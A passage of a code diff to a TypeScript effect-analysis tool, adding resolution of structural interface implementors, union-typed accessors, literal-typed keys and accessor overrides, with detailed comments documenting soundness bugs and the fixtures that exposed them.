+ // a fresh object of a compatible shape all type-check against `T -> T` while doing something else
4108
+ // entirely at runtime. MEASURED, 2026-09-01 (PART 87 hardening): a `wrap<T>(x: T): T { return makeReal()
4109
+ // as unknown as T }` that discards its argument and returns a genuinely different, effectful object
4110
+ // type-checked against this exact signature, and the SIGNATURE-ONLY climb picked the discarded PURE
4111
+ // argument as the interface's sole implementor — the calling function vanished from `functions[]`
4112
+ // entirely over code that provably writes to disk (candor-attack1 fixture).
4113
+ //
4114
+ // TIGHTENED rather than deleted: `isProvenIdentityReturn` (below `registerStructuralImpl`) additionally
4115
+ // requires the wrapper's ENTIRE body to be exactly `return x;` (or an arrow's concise `x`), with the
4116
+ // returned identifier resolved by the CHECKER to the SAME parameter symbol — a real proof read from
4117
+ // source, not a second guess wearing the first one's clothes. `return makeReal() as unknown as T` has a
4118
+ // body of one statement too, but that statement is not `return x;`, so it fails the proof and the climb
4119
+ // does not fire — the dispatch has no implementor to see and reads honest `Unknown[dispatch:…]`, exactly
4120
+ // as it did before PART 87. A genuine `return x;` wrapper still climbs and still resolves precisely; the
4121
+ // family's denylist-over-allowlist rule is satisfied because the narrowing case is now proven by the
4122
+ // actual code, exactly as `Object.assign`'s is proven by the language, never guessed from a shape.
4123
+ //
4124
+ // Every registered structural implementor's member is EITHER resolved (a real unit's effects reach the
4125
+ // dispatch — the disjunction's path (a), the candidate set is COMPLETED) or left unresolved (`nodeName`
4126
+ // has no entry for it — a `.bind()`/reference chain that cannot be pinned, a call result, a getter). The
4127
+ // SAME `allResolved` gate the nominal fanout already enforces turns an unresolved structural member into
4128
+ // a forced Unknown, disclosed rather than silent — path (b), for free, from one shared completeness
4129
+ // check. Local-only, mirroring the nominal branch's own bound: a structural value arriving from outside
4130
+ // this scan's own source tree (an argument passed by an external caller, a dependency's own callback)
4131
+ // is no more visible here than an external nominal implementor already was.
4132
+ function localInterfaceDeclsOfType(t) {
4133
+ const out = [];
4134
+ const consider = (ct) => {
4135
+ const sym = ct?.getSymbol?.() ?? ct?.symbol;
4136
+ for (const d of sym?.declarations ?? []) {
4137
+ if (ts.isInterfaceDeclaration(d) && projectFiles.has(path.resolve(d.getSourceFile().fileName)) && !out.includes(d))
4138
+ out.push(d);
4139
+ }
4140
+ };
4141
+ if (!t) return out;
4142
+ if (t.isUnion?.()) { for (const ct of t.types) consider(ct); } else consider(t);
4143
+ return out;
4144
+ }
4145
+ function registerStructuralImpl(ifaceDecl, implNode, seen = new Set()) {
4146
+ if (seen.has(ifaceDecl)) return;
4147
+ seen.add(ifaceDecl);
4148
+ if (!interfaceImpls.has(ifaceDecl)) interfaceImpls.set(ifaceDecl, []);
4149
+ const arr = interfaceImpls.get(ifaceDecl);
4150
+ if (!arr.includes(implNode)) arr.push(implNode);
4151
+ // Climb super-interfaces too — the same reason the nominal branch does: a dispatch through `Sup`'s own
4152
+ // signature must also see an implementor that only satisfies `Sub extends Sup` structurally.
4153
+ for (const eh of ifaceDecl.heritageClauses ?? []) {
4154
+ if (eh.token !== ts.SyntaxKind.ExtendsKeyword) continue;
4155
+ for (const st of eh.types) {
4156
+ let sym; try { sym = checker.getSymbolAtLocation(st.expression); } catch { sym = undefined; }
4157
+ const tgt = sym && sym.flags & ts.SymbolFlags.Alias ? checker.getAliasedSymbol(sym) : sym;
4158
+ for (const d of tgt?.declarations ?? [])
4159
+ if (ts.isInterfaceDeclaration(d) && projectFiles.has(path.resolve(d.getSourceFile().fileName)))
4160
+ registerStructuralImpl(d, implNode, seen);
4161
+ }
4162
+ }
4163
+ }
4164
+ // Is `param -> body` a PROVEN identity return — the function's ENTIRE body is exactly `return <param>;`
4165
+ // (block form) or exactly `<param>` (arrow concise-body form), with no destructuring, no default, no
4166
+ // rest, no cast, no conditional, nothing at all between the parameter and the value returned — and the
4167
+ // returned identifier resolves via the CHECKER to the SAME parameter symbol, not merely the same name (a
4168
+ // shadowing `x` in a nested scope would share the name and not the symbol). This is read from the
4169
+ // function's own source, not inferred from its declared type: a `T -> T` signature only proves the
4170
+ // return value is ASSIGNABLE to the parameter's type, never that it IS the parameter's value — see the
4171
+ // long comment above `registerStructuralImpl` for the fixture that proved the signature-only version
4172
+ // wrong. A body this narrow cannot do so: there is no statement left for it to construct a different,
4173
+ // merely type-compatible object in.
4174
+ function isProvenIdentityReturn(decl, paramIdx) {
4175
+ const param = decl.parameters?.[paramIdx];
4176
+ if (!param || !ts.isIdentifier(param.name) || param.initializer || param.dotDotDotToken || param.questionToken)
4177
+ return false;
4178
+ const sameParam = (expr) => {
4179
+ if (!expr || !ts.isIdentifier(expr) || expr.text !== param.name.text) return false;
4180
+ let sym; try { sym = checker.getSymbolAtLocation(expr); } catch { sym = undefined; }
4181
+ let psym; try { psym = checker.getSymbolAtLocation(param.name); } catch { psym = undefined; }
4182
+ return !!sym && !!psym && sym === psym;
4183
+ };
4184
+ const body = decl.body;
4185
+ if (!body) return false;
4186
+ if (ts.isBlock(body))
4187
+ return body.statements.length === 1 && ts.isReturnStatement(body.statements[0])
4188
+ && sameParam(body.statements[0].expression);
4189
+ return sameParam(body); // arrow concise body: `(x) => x`
4190
+ }
4191
+ // Climb through a well-known-global `Object.assign` call, or a single-type-parameter `T -> T` wrapper
4192
+ // whose body is a PROVEN identity return (see `isProvenIdentityReturn`), to the CONTEXTUAL TYPE of the
4193
+ // position the merged/wrapped value actually lands in. Plain `getContextualType` on the argument itself
4194
+ // resolves to an anonymous inferred shape (`__object`) — MEASURED (see the probe this fix was built
4195
+ // from) — not the interface the caller is really assigning into. Bounded depth guards a pathological
4196
+ // chain of calls.
4197
+ function contextualInterfaceDeclsFor(node, depth = 0) {
4198
+ let ct; try { ct = checker.getContextualType(node); } catch { ct = undefined; }
4199
+ const direct = localInterfaceDeclsOfType(ct);
4200
+ if (direct.length || depth >= 4) return direct;
4201
+ const p = node.parent;
4202
+ if (!p || !ts.isCallExpression(p) || !(p.arguments ?? []).includes(node)) return direct;
4203
+ const calleeText = p.expression.getText().replace(/\s+/g, "");
4204
+ if (calleeText === "Object.assign") return contextualInterfaceDeclsFor(p, depth + 1);
4205
+ let sig; try { sig = checker.getResolvedSignature(p); } catch { sig = undefined; }
4206
+ const decl = sig?.getDeclaration?.();
4207
+ if (decl && decl.typeParameters?.length === 1) {
4208
+ const tpName = decl.typeParameters[0].name.getText();
4209
+ const idx = p.arguments.indexOf(node);
4210
+ if (decl.type?.getText() === tpName && decl.parameters?.[idx]?.type?.getText() === tpName
4211
+ && isProvenIdentityReturn(decl, idx))
4212
+ return contextualInterfaceDeclsFor(p, depth + 1);
4213
+ }
4214
+ return direct;
4215
+ }
4216
+ // Mint (or ALIAS to an existing unit) every member of a structural implementor `container`
4217
+ // (ObjectLiteralExpression's `.properties` or a ClassExpression's `.members` — both walked generically,
4218
+ // same shape as the nominal branch's own `cls.members`). Position-keyed, like `decoratorArgUnit` /
4219
+ // `staticBlockUnit` above — two structural implementors in one file must not collide.
4220
+ function mintStructuralMembers(container) {
4221
+ const sf = container.getSourceFile();
4222
+ const mod = moduleOf(sf);
4223
+ const members = container.properties ?? container.members ?? [];
4224
+ for (const prop of members) {
4225
+ if (nodeName.has(prop)) continue; // already minted/aliased (shared members across two matched interfaces)
4226
+ const name = prop.name?.getText?.();
4227
+ if (!name || ts.isComputedPropertyName(prop.name)) continue; // computed key — never guess
4228
+ // Method shorthand (object literal `go(){…}` OR class-expression `go(){…}`) — a real body, own unit.
4229
+ if (ts.isMethodDeclaration(prop) && prop.body) {
4230
+ mintPositionalStructuralUnit(mod, sf, prop, name);
4231
+ continue;
4232
+ }
4233
+ // `go: <expr>` (PropertyAssignment) / `go = <expr>` (class-expression field).
4234
+ const init = (ts.isPropertyAssignment(prop) || ts.isPropertyDeclaration(prop)) ? prop.initializer : null;
4235
+ if (!init) continue; // a body-less abstract/declare member — nothing to mint, nothing to alias
4236
+ if (ts.isArrowFunction(init) || ts.isFunctionExpression(init)) {
4237
+ mintPositionalStructuralUnit(mod, sf, prop, name);
4238
+ continue;
4239
+ }
4240
+ // `go: other.method.bind(other)` / `go: other.method` — this is the SAME reflective-invoke reference
4241
+ // shape the HOF-ref arm already resolves; reuse it rather than inventing a second unit for a function
4242
+ // that already has one. A `.bind()` whose receiver can't be pinned, or any other expression (a call
4243
+ // result, a conditional, an opaque holder), is left UNRESOLVED — `nodeName.has(prop)` stays false, so
4244
+ // the dispatch site's `allResolved` gate reads this implementor as incomplete and forces Unknown: the
4245
+ // disjunction's (b) arm, never silence.
4246
+ const bound = unwrapBind(init);
4247
+ const ref = bound ? bound.ref : ((ts.isIdentifier(init) || ts.isPropertyAccessExpression(init)) ? init : null);
4248
+ if (ref) {
4249
+ const d = realDecl(checker.getSymbolAtLocation(ref));
4250
+ const target = (d && nodeName.get(d)) || resolveFnRefUnit(ref);
4251
+ if (target) nodeName.set(prop, target);
4252
+ }
4253
+ }
4254
+ }
4255
+ function mintPositionalStructuralUnit(mod, sf, prop, name) {
4256
+ const qual = `${mod}.<structural>@${prop.getStart()}.${name}`;
4257
+ if (!fns.has(qual)) {
4258
+ const { line, character } = sf.getLineAndCharacterOfPosition(prop.getStart());
4259
+ fns.set(qual, { local: `<structural>.${name}`, direct: new Set(), fsKinds: new Set(), edges: new Set(),
4260
+ hosts: new Set(), tables: new Set(), cmds: new Set(), paths: new Set(), blind: new Set(),
4261
+ incomplete: new Set(), why: new Set(), entry: false,
4262
+ loc: `${path.relative(rootDir, sf.fileName)}:${line + 1}:${character + 1}`,
4263
+ endLine: sf.getLineAndCharacterOfPosition(prop.getEnd()).line + 1 });
4264
+ }
4265
+ nodeName.set(prop, qual);
4266
+ }
4267
+ for (const sf of sources) {
4268
+ (function walkStructural(node) {
4269
+ // An EMPTY object literal (`Object.assign({}, source)`'s target arg is the common real-world
4270
+ // shape) has no property to ever complete a dispatch with, and registering it as a candidate only
4271
+ // forces needless conservatism (every OTHER implementor resolving, this one never can, so the
4272
+ // dispatch falls back to disclosed-Unknown for no reason). Skip it: nothing is lost, since it can
4273
+ // never structurally satisfy an interface with any member on its own.
4274
+ if (ts.isObjectLiteralExpression(node) && node.properties.length > 0) {
4275
+ const decls = contextualInterfaceDeclsFor(node);
4276
+ if (decls.length) {
4277
+ for (const d of decls) registerStructuralImpl(d, node);
4278
+ mintStructuralMembers(node);
4279
+ }
4280
+ } else if (ts.isClassExpression(node)) {
4281
+ // Explicit `implements` on an anonymous/named class EXPRESSION — the nominal branch above only
4282
+ // ever visits `ts.isClassDeclaration`, so `held = new (class implements Task { go(){…} })()`
4283
+ // registered nowhere at all (not even as a candidate, unlike the object-literal shape) and its
4284
+ // methods were never minted units either (`localName`'s method branch requires a ClassDeclaration
4285
+ // parent). Reuse the SAME climb/registration and member-minting as the object-literal shape.
4286
+ let registeredAny = false;
4287
+ for (const h of node.heritageClauses ?? []) {
4288
+ if (h.token !== ts.SyntaxKind.ImplementsKeyword) continue;
4289
+ for (const t of h.types) {
4290
+ let sym; try { sym = checker.getSymbolAtLocation(t.expression); } catch { sym = undefined; }
4291
+ const tgt = sym && sym.flags & ts.SymbolFlags.Alias ? checker.getAliasedSymbol(sym) : sym;
4292
+ for (const d of tgt?.declarations ?? [])
4293
+ if (ts.isInterfaceDeclaration(d) && projectFiles.has(path.resolve(d.getSourceFile().fileName))) {
4294
+ registerStructuralImpl(d, node);
4295
+ registeredAny = true;
4296
+ }
4297
+ }
4298
+ }
4299
+ if (registeredAny) mintStructuralMembers(node);
4300
+ }
4301
+ ts.forEachChild(node, walkStructural);
4302
+ })(sf);
4303
+ }
4304
+
3834
4305
  // Accessor resolution (the silent-pure-accessor fix): a property READ (`x.raw`) or property
3835
4306
  // ASSIGNMENT target (`x.path = v`) may resolve to a getter/setter whose body performs effects. We
3836
4307
  // resolve the property-name symbol to its declarations and look for an accessor of the matching
@@ -3838,83 +4309,585 @@ function unwrapBind(node, depth = 0) {
3838
4309
  // when the accessor's declaration lives in a project file (a UNIT we minted; edge to it). A resolved
3839
4310
  // accessor we CAN'T see (external/typed-only declaration) returns local:false so the caller follows
3840
4311
  // the existing Unknown/curated-κ posture — never silent-pure for a resolved-but-unseen accessor.
3841
- // A property SYMBOL → its accessor declaration of the wanted kind (or null). `local` is true when that
3842
- // declaration lives in a project file (a unit we minted; edge to it). Shared by every property-read
3843
- // shape: dot access, element access, and object destructuring.
3844
- function accessorFromSym(sym, kind /* "get" | "set" */) {
3845
- if (!sym) return null;
4312
+ // A property SYMBOL → EVERY accessor declaration of the wanted kind (a possibly-empty list). `local` is
4313
+ // true when that declaration lives in a project file (a unit we minted; edge to it). Shared by every
4314
+ // property-read shape: dot access, element access, and object destructuring.
4315
+ //
4316
+ // EVERY DECLARATION, NOT THE FIRST — this was a `.find`, and on a UNION-TYPED RECEIVER that is a silent
4317
+ // under-report chosen by declaration order. TypeScript synthesizes ONE property symbol for `x.token`
4318
+ // where `x: Aa | Bb`, carrying BOTH classes' accessor declarations, and their order is the checker's,
4319
+ // not the source's. `.find` therefore picked an arbitrary arm and, when it picked the pure one, the
4320
+ // effectful arm vanished. EXECUTED, node 22.12.0, counting real `fs.appendFileSync` calls by reading the
4321
+ // log file back:
4322
+ //
4323
+ // export class Aa { set token(v: string) { /* pure */ } }
4324
+ // export class Bb { set token(v: string) { fs.appendFileSync("/tmp/x", v); } }
4325
+ // export function u1(x: Aa | Bb) { x.token = "v"; }
4326
+ //
4327
+ // u1(new Bb()) -> 1 real write pre-fix: `c.u1` ABSENT from functions[], `deny Fs` exit 0
4328
+ // post-fix: `c.u1` ["Fs"], `deny Fs` exit 1
4329
+ //
4330
+ // and it was order-dependent in a way no reader could predict: the SAME program with the two classes
4331
+ // swapped in the file reported `Fs` (the checker happened to list the effectful arm first). A union
4332
+ // receiver is a disjunction — ANY arm may be the runtime value — so the sound answer is the UNION of
4333
+ // the arms' accessors, which is also what `classBodiedGetter`'s `every` already assumes one line up.
4334
+ // The direction this fails in is over-charge (an arm that cannot occur at this site), never silence.
4335
+ // SOUNDNESS R259 — A UNION RECEIVER IS A DISJUNCTION, AND `getProperties()` ANSWERS THE INTERSECTION.
4336
+ // R245 fixed the union question at `accessorsFromSym` — ONE synthesised symbol carrying several
4337
+ // declarations — and its own commit message states the rule this level does not implement: *"a union
4338
+ // receiver is a disjunction — ANY arm may be the runtime value — so the sound answer is the UNION of the
4339
+ // arms' accessors."* Every whole-object arm gets its property LIST from `type.getProperties()`, which on
4340
+ // a union returns only the properties present in EVERY constituent, so an accessor declared on ONE arm is
4341
+ // never handed to the (now-correct) helper at all. Proven against the TS API directly: for `x: Aa | Bb`
4342
+ // where only `Aa` declares `token`, `getProperties()` is `[other]` and `getProperty("token")` is null.
4343
+ //
4344
+ // EXECUTED, node 22.12.0, 1 real accessor invocation per cell, over 46 cells of a generated matrix —
4345
+ // six union shapes crossed with every arm that typechecks, caller ABSENT from `functions[]` in all 46:
4346
+ //
4347
+ // Aa|undefined assign-src, JSON.stringify, structuredClone, spread, rest 5 of 5 arms silent
4348
+ // Aa|null the same five 5 of 5
4349
+ // Aa|string + Object.assign target, Object.entries, Object.values 6 of 6
4350
+ // Aa|Bb + Reflect.get, Reflect.set 10 of 10
4351
+ // Aa|{lit} the same ten 10 of 10
4352
+ // (f ? a : b) the same ten — a union formed AT THE SITE 10 of 10
4353
+ //
4354
+ // and on the caller ALL EIGHT policy forms exit 0 — blanket `deny Fs`, `deny Unknown`, `deny Fs Unknown`,
4355
+ // `pure <caller>`, `deny Fs <caller>`, and the three reason-scoped ones — with the scoped rules BINDING.
4356
+ // Blanket `deny Fs` is red elsewhere in the module only when the object's PRODUCER is in scope; when the
4357
+ // object arrives as a parameter, nothing anywhere goes red. NARROWED forms are correct today and stay
4358
+ // correct — `x ?? fb` and `if (!x) return` both disclose, because TS narrows before the site, so the hole
4359
+ // needs the union to SURVIVE into the operation (12 arms each, 0 silent, carried as controls).
4360
+ //
4361
+ // The direction this fails in is OVER-CHARGE — an arm that cannot be the runtime value at this site —
4362
+ // never silence, which is the same trade `accessorsFromSym`'s `every` already makes one level down.
4363
+ /** Every property symbol ANY arm of `type` declares — the disjunction, not `getProperties()`'s intersection. */
4364
+ function propertiesAcrossArms(type) {
4365
+ if (!type?.getProperties) return [];
4366
+ if (!type.isUnion?.()) return type.getProperties();
4367
+ const seen = new Set();
4368
+ for (const arm of type.types) for (const p of (arm.getProperties?.() ?? [])) seen.add(p);
4369
+ return [...seen];
4370
+ }
4371
+ /** Every arm's symbol for `name` — a LIST, because two arms can declare the same name with different
4372
+ * accessor bodies and picking one is the order-dependence R245 was filed to kill. */
4373
+ function propertySymbolsAcrossArms(type, name) {
4374
+ if (!type?.getProperty) return [];
4375
+ const seen = new Set();
4376
+ const direct = type.getProperty(name);
4377
+ if (direct) seen.add(direct);
4378
+ if (type.isUnion?.()) for (const arm of type.types) { const p = arm.getProperty?.(name); if (p) seen.add(p); }
4379
+ return [...seen];
4380
+ }
4381
+ function accessorsFromSym(sym, kind /* "get" | "set" */) {
4382
+ if (!sym) return [];
3846
4383
  const want = kind === "get" ? ts.isGetAccessorDeclaration : ts.isSetAccessorDeclaration;
3847
4384
  // A symbol is an accessor only if its declarations include an accessor of the wanted kind.
3848
- const decl = (sym.declarations ?? []).find((d) => want(d));
3849
- if (!decl) return null;
3850
- return { decl, local: projectFiles.has(path.resolve(decl.getSourceFile().fileName)) };
3851
- }
3852
- function accessorAt(propNode, kind /* "get" | "set" */) {
3853
- let sym;
4385
+ return (sym.declarations ?? []).filter((d) => want(d))
4386
+ .map((decl) => ({ decl, local: projectFiles.has(path.resolve(decl.getSourceFile().fileName)) }));
4387
+ }
4388
+ // SOUNDNESS R240(a) — THE KEY'S TYPE PINS THE PROPERTY SET, AND ASKING IT IS NOT A GUESS.
4389
+ // `accessorsAt` used to resolve only a syntactic string literal, under a comment that said a dynamic
4390
+ // key "can't be pinned to one property … resolving it would guess". That is true of `k: string` and
4391
+ // FALSE of `k: "token" | "other"`, whose TYPE names exactly two properties — the same shape as R232/R233,
4392
+ // where a safety comment was true for the case in front of its author and false one spelling over.
4393
+ //
4394
+ // Returns the FINITE set of property names the key can hold, or `null` when there is no finite set.
4395
+ // `null` is a real answer ("we cannot say which property this is"), distinct from an empty set.
4396
+ //
4397
+ // THIS IS NOT AN OVER-APPROXIMATION: every name returned is a value the key is DECLARED to be able to
4398
+ // take, so charging all of them charges exactly what the program says can run. It fails toward `null`
4399
+ // (today's silence) on anything it cannot enumerate, which is the denylist direction — a name is
4400
+ // admitted only when a literal type PROVES it, never guessed from the receiver's property list.
4401
+ //
4402
+ // FIVE SPELLINGS, all measured on executed fixtures (see the test block and the CHANGELOG):
4403
+ // "token" | "other" a literal union -> {token, other}
4404
+ // const k = "token" a single literal type -> {token}
4405
+ // EK / EK.Token a string enum, whole or one member -> {token, other} / {token} (EnumLiteral
4406
+ // carries StringLiteral, so `.value` is
4407
+ // the runtime key)
4408
+ // keyof Session an Index type the checker has already normalised to a literal union
4409
+ // K extends keyof T a TYPE PARAMETER — pinned through its CONSTRAINT, which is that same union
4410
+ //
4411
+ // The CAP is a rail, not a semantic: a template-literal type can expand to tens of thousands of names,
4412
+ // and past the cap this returns `null` — the pre-fix answer, so the cap can only lose precision, never
4413
+ // soundness.
4414
+ const KEY_NAME_CAP = 512;
4415
+ function keyLiteralNames(t, depth = 0, seen = new Set()) {
4416
+ if (!t || depth > 4 || seen.has(t)) return null;
4417
+ seen.add(t);
4418
+ if (t.isUnion?.()) {
4419
+ const out = new Set();
4420
+ for (const c of t.types) {
4421
+ const s = keyLiteralNames(c, depth + 1, seen);
4422
+ if (!s) return null; // ONE unpinnable arm makes the whole key unpinnable
4423
+ for (const x of s) out.add(x);
4424
+ if (out.size > KEY_NAME_CAP) return null;
4425
+ }
4426
+ return out;
4427
+ }
4428
+ // A string/number literal type IS the property name. `EK.Token` is `EnumLiteral | StringLiteral`, so a
4429
+ // string enum member lands here and `.value` is the runtime key the enum member compiles to.
4430
+ if (t.isStringLiteral?.()) return new Set([t.value]);
4431
+ if (t.isNumberLiteral?.()) return new Set([String(t.value)]);
4432
+ // `K extends keyof Session` — the type parameter itself names nothing; its CONSTRAINT does.
4433
+ const c = checker.getBaseConstraintOfType?.(t);
4434
+ if (c && c !== t) return keyLiteralNames(c, depth + 1, seen);
4435
+ return null; // `string`, `symbol`, `keyof T` for generic T, …
4436
+ }
4437
+ function accessorsAt(propNode, kind /* "get" | "set" */) {
3854
4438
  if (ts.isElementAccessExpression(propNode)) {
3855
- // `c["prop"]` carries no `.name`; resolve the LITERAL key as a property on the receiver's type.
3856
- // A dynamic key (`c[k]`) can't be pinned to one property — leave it unresolved (the existing
3857
- // dynamic-access posture stands; resolving it would guess, never fabricate here).
4439
+ // `c["prop"]` carries no `.name`; resolve the key to the property NAMES it can hold and look each
4440
+ // one up on the receiver's type. Returns `null` — distinct from `[]` — when the key is NOT pinned
4441
+ // to a finite name set, so the caller can tell "pinned, and none of them is an accessor" (nothing
4442
+ // to charge) from "we do not know which property this is" (a disclosure question).
3858
4443
  const arg = propNode.argumentExpression;
3859
- sym = arg && ts.isStringLiteralLike(arg)
3860
- ? checker.getTypeAtLocation(propNode.expression)?.getProperty?.(arg.text)
3861
- : null;
3862
- } else {
3863
- sym = checker.getSymbolAtLocation(propNode.name ?? propNode);
3864
- }
3865
- return accessorFromSym(sym, kind);
4444
+ const texts = arg && ts.isStringLiteralLike(arg) ? new Set([arg.text])
4445
+ : arg ? keyLiteralNames(checker.getTypeAtLocation(arg)) : null;
4446
+ if (!texts) return null;
4447
+ const recvType = checker.getTypeAtLocation(propNode.expression);
4448
+ const out = [];
4449
+ // R259 — every ARM's symbol for the name, not just the union's own (which is null unless the
4450
+ // property is common to all of them).
4451
+ for (const t of texts) for (const sym of propertySymbolsAcrossArms(recvType, t))
4452
+ out.push(...accessorsFromSym(sym, kind));
4453
+ return out;
4454
+ }
4455
+ return accessorsFromSym(checker.getSymbolAtLocation(propNode.name ?? propNode), kind);
3866
4456
  }
3867
4457
  // A `Object.defineProperty` descriptor accessor for the forcing site `recv.key` (read → get, assign →
3868
- // set), consulted ONLY when the type-level `accessorAt` came up empty (the checker types target.key as
4458
+ // set), consulted ONLY when the type-level `accessorsAt` came up empty (the checker types target.key as
3869
4459
  // a data prop, so defineProperty accessors are invisible to it). Resolve the receiver expression to its
3870
4460
  // binding symbol and the key to a static string; look both up in `definePropAccessors`. Returns the
3871
4461
  // descriptor function NODE (a minted unit) when found, or null. NO fabrication: a data (`value:`)
3872
4462
  // descriptor was never indexed, an absent target/key returns null.
3873
4463
  function definePropForceTarget(propNode, kind /* "get" | "set" */) {
3874
- if (definePropAccessors.size === 0) return null;
3875
- let recvExpr, keyText;
4464
+ if (definePropAccessors.size === 0) return [];
4465
+ // R240(a) — the key set, not one key: the SAME literal-type pinning the type-level arm now does. A
4466
+ // descriptor installed under `"hot"` and reached as `target[k]` with `k: "hot" | "cold"` was silent
4467
+ // here for exactly the reason it was silent there (executed: 1 real setter invocation, row ABSENT).
4468
+ let recvExpr, keyTexts;
3876
4469
  if (ts.isElementAccessExpression(propNode)) {
3877
4470
  recvExpr = propNode.expression;
3878
4471
  const arg = propNode.argumentExpression;
3879
- keyText = arg && ts.isStringLiteralLike(arg) ? arg.text : null;
4472
+ keyTexts = arg && ts.isStringLiteralLike(arg) ? new Set([arg.text])
4473
+ : arg ? keyLiteralNames(checker.getTypeAtLocation(arg)) : null;
3880
4474
  } else if (ts.isPropertyAccessExpression(propNode)) {
3881
4475
  recvExpr = propNode.expression;
3882
- keyText = propNode.name?.getText?.();
3883
- } else return null;
3884
- if (keyText == null) return null;
4476
+ const n = propNode.name?.getText?.();
4477
+ keyTexts = n == null ? null : new Set([n]);
4478
+ } else return [];
4479
+ if (keyTexts == null) return [];
3885
4480
  // Resolve the receiver to the SAME symbol the defineProperty target identifier resolved to. Follow an
3886
4481
  // import alias so a cross-module `import { config }` access joins the defining module's index entry.
3887
4482
  const rsym0 = checker.getSymbolAtLocation(recvExpr);
3888
- if (!rsym0) return null;
4483
+ if (!rsym0) return [];
3889
4484
  const rsym = rsym0.flags & ts.SymbolFlags.Alias ? (() => { try { return checker.getAliasedSymbol(rsym0); } catch { return rsym0; } })() : rsym0;
3890
4485
  const byKey = definePropAccessors.get(rsym) ?? definePropAccessors.get(rsym0);
3891
- const entry = byKey?.get(keyText);
3892
- return entry?.[kind] ?? null;
4486
+ if (!byKey) return [];
4487
+ const out = [];
4488
+ for (const k of keyTexts) { const n = byKey.get(k)?.[kind]; if (n) out.push(n); }
4489
+ return out;
3893
4490
  }
3894
4491
  // Record a resolved accessor HIT (read or write) as an edge from `owner`: into the accessor UNIT when
3895
4492
  // it's a local declaration we minted; otherwise Unknown (a resolved-but-unseen accessor body — never
3896
4493
  // silent-pure, SPEC §4). `label` tags the §-why disclosure.
3897
- function recordAccessorHit(owner, hit, label) {
4494
+ // SOUNDNESS R282 — AND THE OVERRIDES, WHICH THIS NEVER ASKED FOR. The edge above lands on the
4495
+ // declaration RESOLUTION picked — for a base-typed receiver that is the BASE's accessor — and nothing
4496
+ // here consulted `classOverrides`, so a subclass override's effects never reached the caller. The
4497
+ // method path one arm over (`allOverrides` at the CallExpression site) does exactly this, off the SAME
4498
+ // index, which already keys accessor declarations: `classOverrides`'s own indexing loop matches
4499
+ // `isGetAccessorDeclaration`/`isSetAccessorDeclaration` explicitly. The index knew; the consumer never
4500
+ // asked. §F1 question 3 — separate implementations of one question, and this is the one that drifted.
4501
+ //
4502
+ // THE ROW THAT FILED THIS NAMED `abstract get` — A DECLARATION WITH NO BODY — AND THAT IS THE TRIGGER,
4503
+ // NOT THE CLASS. A CONCRETE base accessor WITH a body fails identically, and that is the shape real code
4504
+ // has. EXECUTED, node 22.12.0, counting real `fs.appendFileSync` calls, receiver typed as the base:
4505
+ //
4506
+ // abstract class T { abstract get val(): string; } 1 real write, `leak` ABSENT
4507
+ // class T { get val() { return "b"; } } + override get val() 1 real write, `leak` ABSENT
4508
+ // class T { m() { return "b"; } } + override m() 1 real write, `leak` ['Fs'] ← the control
4509
+ //
4510
+ // In a tree containing nothing else, `pure src.only.leak` and `deny Fs src.only.leak` both exit 0 with
4511
+ // the scope BINDING, `deny Unknown` exits 0, and blanket `deny Fs` exits 1 only INCIDENTALLY — via the
4512
+ // independently-reported `src.only.TImpl.get val` unit, never via the caller, which was not judged at all.
4513
+ //
4514
+ // Bounded exactly as the method path is, and the bounds are the point rather than trivia: the fan-out is
4515
+ // scoped to the RECEIVER's static-type subtree when the receiver pins a local class (a sibling
4516
+ // subclass's override is type-impossible on this path, and charging it would be fabrication-adjacent);
4517
+ // past `CHA_FANOUT_LIMIT`, or with any override not minted as a unit, it DISCLOSES rather than silently
4518
+ // dropping what it could not enumerate. A base accessor no subclass overrides has no index entry, so
4519
+ // today's answer is preserved byte-for-byte there.
4520
+ function accessorOverrideFanOut(rec, decl, recvExpr) {
4521
+ const allOverrides = classOverrides.get(decl);
4522
+ if (!allOverrides || allOverrides.length === 0) return;
4523
+ let overrides = allOverrides;
4524
+ if (recvExpr) {
4525
+ const rt = checker.getTypeAtLocation(recvExpr);
4526
+ const rootClass = (rt?.symbol?.declarations ?? []).find((d) =>
4527
+ ts.isClassDeclaration(d) && projectFiles.has(path.resolve(d.getSourceFile().fileName)));
4528
+ // SOUNDNESS-PRESERVING FALLBACK, the method path's verbatim: a receiver we cannot pin to a LOCAL
4529
+ // class (a union, an interface, `any`, an external type) keeps the FULL override set.
4530
+ if (rootClass) overrides = allOverrides.filter((om) =>
4531
+ ts.isClassDeclaration(om.parent) && classInSubtree(om.parent, rootClass));
4532
+ }
4533
+ if (overrides.length === 0) return;
4534
+ const ownerQual = (d) => (d.parent?.name
4535
+ ? `${moduleOf(d.parent.getSourceFile())}.${namespacePrefixOf(d.parent)}${d.parent.name.getText()}`
4536
+ : null);
4537
+ if (overrides.length > CHA_FANOUT_LIMIT) {
4538
+ rec.direct.add("Unknown"); // override family too wide to enumerate soundly
4539
+ rec.why.add(dispatchWhy(ownerQual(decl), decl.name?.getText?.()));
4540
+ return;
4541
+ }
4542
+ let allResolved = true;
4543
+ const targets = [];
4544
+ for (const om of overrides) { const ot = nodeName.get(om); if (ot) targets.push(ot); else allResolved = false; }
4545
+ for (const ot of targets) rec.edges.add(ot); // (EDGE) into each override — effects propagate
4546
+ if (!allResolved) {
4547
+ rec.direct.add("Unknown"); // an override we could not name is not a pure one
4548
+ rec.why.add(dispatchWhy(ownerQual(decl), decl.name?.getText?.()));
4549
+ }
4550
+ }
4551
+ function recordAccessorHit(owner, hit, label, recvExpr = null) {
3898
4552
  const rec = fns.get(owner);
3899
4553
  const t = nodeName.get(hit.decl);
3900
4554
  if (hit.local && t) {
3901
4555
  rec.edges.add(t); // (EDGE) into the accessor unit — effects propagate
4556
+ accessorOverrideFanOut(rec, hit.decl, recvExpr); // R282 — …and into every override it may bind to
3902
4557
  } else {
3903
4558
  rec.direct.add("Unknown");
3904
4559
  rec.why.add(`reflect:accessor:${label}`); // a defineProperty runtime accessor (descriptor get/set unseen) — metaprogramming, canonical `reflect:`
3905
4560
  }
3906
4561
  }
3907
4562
 
4563
+ // SOUNDNESS R247 — ONE AUTHORITY for "could a runtime key of this TYPE ever name this property?".
4564
+ // Extracted from R240(b)'s unpinnable-key branch, which is where the question was first answered and
4565
+ // where the corpus proved it has to be asked BOTH ways: a STRING key cannot name a symbol-keyed
4566
+ // accessor (axios 1.7.2's six `AxiosHeaders` rows, armed only by `get [Symbol.toStringTag]()`), and a
4567
+ // SYMBOL key cannot name a string-keyed one (mongoose 8's 18 rows, armed by bson's `get id()`).
4568
